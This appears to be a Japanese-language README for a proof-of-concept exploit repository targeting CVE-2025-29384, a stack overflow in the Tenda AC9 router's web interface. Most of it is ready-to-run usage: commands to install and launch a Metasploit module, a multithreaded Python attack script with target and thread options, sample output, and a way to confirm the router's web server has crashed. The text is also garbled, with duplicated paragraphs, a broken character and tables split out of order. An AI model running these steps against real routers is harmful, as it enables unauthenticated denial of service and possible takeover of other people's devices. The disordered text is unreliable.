
このリポジトリには、ファームウェアバージョン V15.03.05.14_multi を実行している Tenda AC9 ルーターで発見された、重大なスタックベースのバッファオーバーフロー脆弱性である CVE-2025-29384 に対する高度な概念実証(PoC)エクスプロイトが含まれています。この脆弱性により、認証されていないリモート攻撃者がルーターの Web サーバーをクラッシュさせ(サービス拒否、DoS)、任意のコードを実行できる可能性があります(リモートコード実行、RCE)。
このプロジェクトの目的は、エクスプロイト開発スキルの実証、サイバーセキュリティコミュニティへの貢献、および学術評価(例:サイバーセキュリティ�学金)のための教育的ショーケースの提供です。 このリポジトリには、ファームウェアバージョン V15.03.05.14_multi を実行している Tenda AC9 ルーターで発見された、重大なスタックベースのバッファオーバーフロー脆弱性である CVE-2025-29384 に対する高度な概念実証(PoC)エクスプロイトが含まれています。この脆弱性により、認証されていないリモート攻撃者がルーターの Web サーバーをクラッシュさせ(サービス拒否、DoS)、任意のコードを実行できる可能性があります(リモートコード実行、RCE)。
このプロジェクトの目的は、エクスプロイト開発スキルの実証、サイバーセキュリティコミュニティへの貢献、およびサイバーセキュリティ奨学金などの学術評価のための教育的ショーケースの提供です。
CVE-2025-29384 は、Tenda AC9 ルーターの Web 管理インターフェース、具体的には次のエンドポイントに影響します:
/goform/AdvSetMacMtuWan
この脆弱性は、HTTP POST リクエストを介して処理される wanMTU パラメータの不適切な境界チェックに起因します。入力は検証なしに固定サイズのスタックバッファにコピーされるため、古典的なスタックベースのバッファオーバーフローが発生します。
脆弱な関数(仮想的な再構成)は次のような構造です:
void process_mtu(char *input) {
char buffer[256]; // Fixed-size stack buffer
strcpy(buffer, input); // No length check, causes overflow
// Process MTU value...
}
過大なペイロード(例:1024 バイト以上)を送信する攻撃者は、関数のリターンアドレスを含む隣接メモリを上書きし、コード実行につながる可能性があります。
Tenda AC9 は、以下の仕様を持つデュアルバンド無線ルーターです:
このリポジトリには、CVE-2025-29384 用の Ruby ベースの Metasploit モジュールも含まれています。このモジュールは Metasploit Framework とシームレスに統合され、msfconsole を使用して脆弱性を悪用できます。
git clone https://github.com/Otsmane-Ahmed/cve-2025-29384-poc
cd cve-2025-29384-poc
Ruby モジュールファイルを見つけ、Metasploit の exploits ディレクトリにコピーします:
cp tenda_ac9_stack_overflow.rb ~/.msf4/modules/exploits/linux/http/
注記: ディレクトリが存在しない場合は作成します:
mkdir -p ~/.msf4/modules/exploits/linux/http/
Metasploit Framework を起動します:
msfconsole
モジュールを読み込みます:
use exploit/linux/http/tenda_ac9_stack_overflow
ターゲット IP アドレスを設定します:
set RHOSTS <target_ip>
ペイロードサイズを設定します(オプション、デフォルトは 1024):
set PAYLOAD_SIZE 2048
エクスプロイトを実行します:
run
[*] Targeting Tenda AC9 at 192.168.0.1:80...
[*] Sending payload of size 2048...
[+] Payload sent successfully!
[*] Response: HTTP/1.1 200 OK...
成功:ルーターの Web サーバーがクラッシュし、サービス拒否(DoS)状態が発生します。
失敗:ルーターが引き続き動作している場合、脆弱性がないか、パッチ適用済みのファームウェアバージョンが実行されている可能性があります。
この PoC は、/goform/AdvSetMacMtuWan に過大な入力を送信してバッファオーバーフローを引き起こし、Web サーバーをクラッシュさせるとともに RCE の可能性を示す Python ベースのエクスプロイトです。
マルチスレッド – 信頼性を高めるため、複数の同時エクスプロイト試行を起動します。
動的ペイロード – ランダム化された base64 エンコードの攻撃文字列を生成します。
ロギング – 構造化されたデバッグに Python の logging モジュールを使用します。
カスタマイズ可能なパラメータ – ターゲット IP、ペイロードサイズ、スレッド数を調整します。
この PoC は、/goform/AdvSetMacMtuWan に過大な入力を送信してバッファオーバーフローを引き起こし、Web サーバーをクラッシュさせる Python ベースのエクスプロイトです。
python poc.py --target <router_ip> --size 2048 --threads 10
| 引数 | 説明 |
|---|---|
--target | ルーターの IP(デフォルト:192.168.0.1) |
[+] CVE-2025-29384 Exploit Engine
[INFO] Target: 192.168.0.1
[INFO] Sending payload (2048 bytes)...
[WARNING] Target timeout - possible crash!
[INFO] Exploit sequence completed.
成功:ルーターの Web インターフェースが応答しなくなります(DoS 状態)。
失敗:ルーターが引き続き応答します(脆弱性がないか、ファームウェアが異なる)。
エクスプロイトがルーターを正常にクラッシュさせたことを確認するには、Web インターフェースの再読み込みを試みます。応答しなくなった場合、攻撃は成功しています。さらなる分析のために、ネットワークログで切断された接続を確認するか、ping を使用してデバイスの応答性を検証してください。
このプロジェクトは教育および倫理的なハッキング目的のみです。このエクスプロイトの不正使用は違法です。著者は、このコードによって引き起こされた誤用または損害について責任を負いません。
Otsmane Ahmed によって ❤️ を込めて開発されました このプロジェクトは教育および倫理的なハッキング目的のみです。このエクスプロイトの不正使用は違法です。著者は、このコードによって引き起こされた誤用または損害について責任を負いません。
このプロジェクトは MIT ライセンス の下で公開されています。
| メトリック | 値 |
|---|
| 攻撃元 | Network |
| 攻撃の複雑さ | Low |
| 必要な権限 | None |
| ユーザー操作 | None |
| 機密性への影響 | High |
| 整合性への影響 | High |
| 可用性への影響 | High |
--sizeペイロードサイズ(バイト単位)(デフォルト:1024) |
--threads | 同時スレッド数(デフォルト:5) |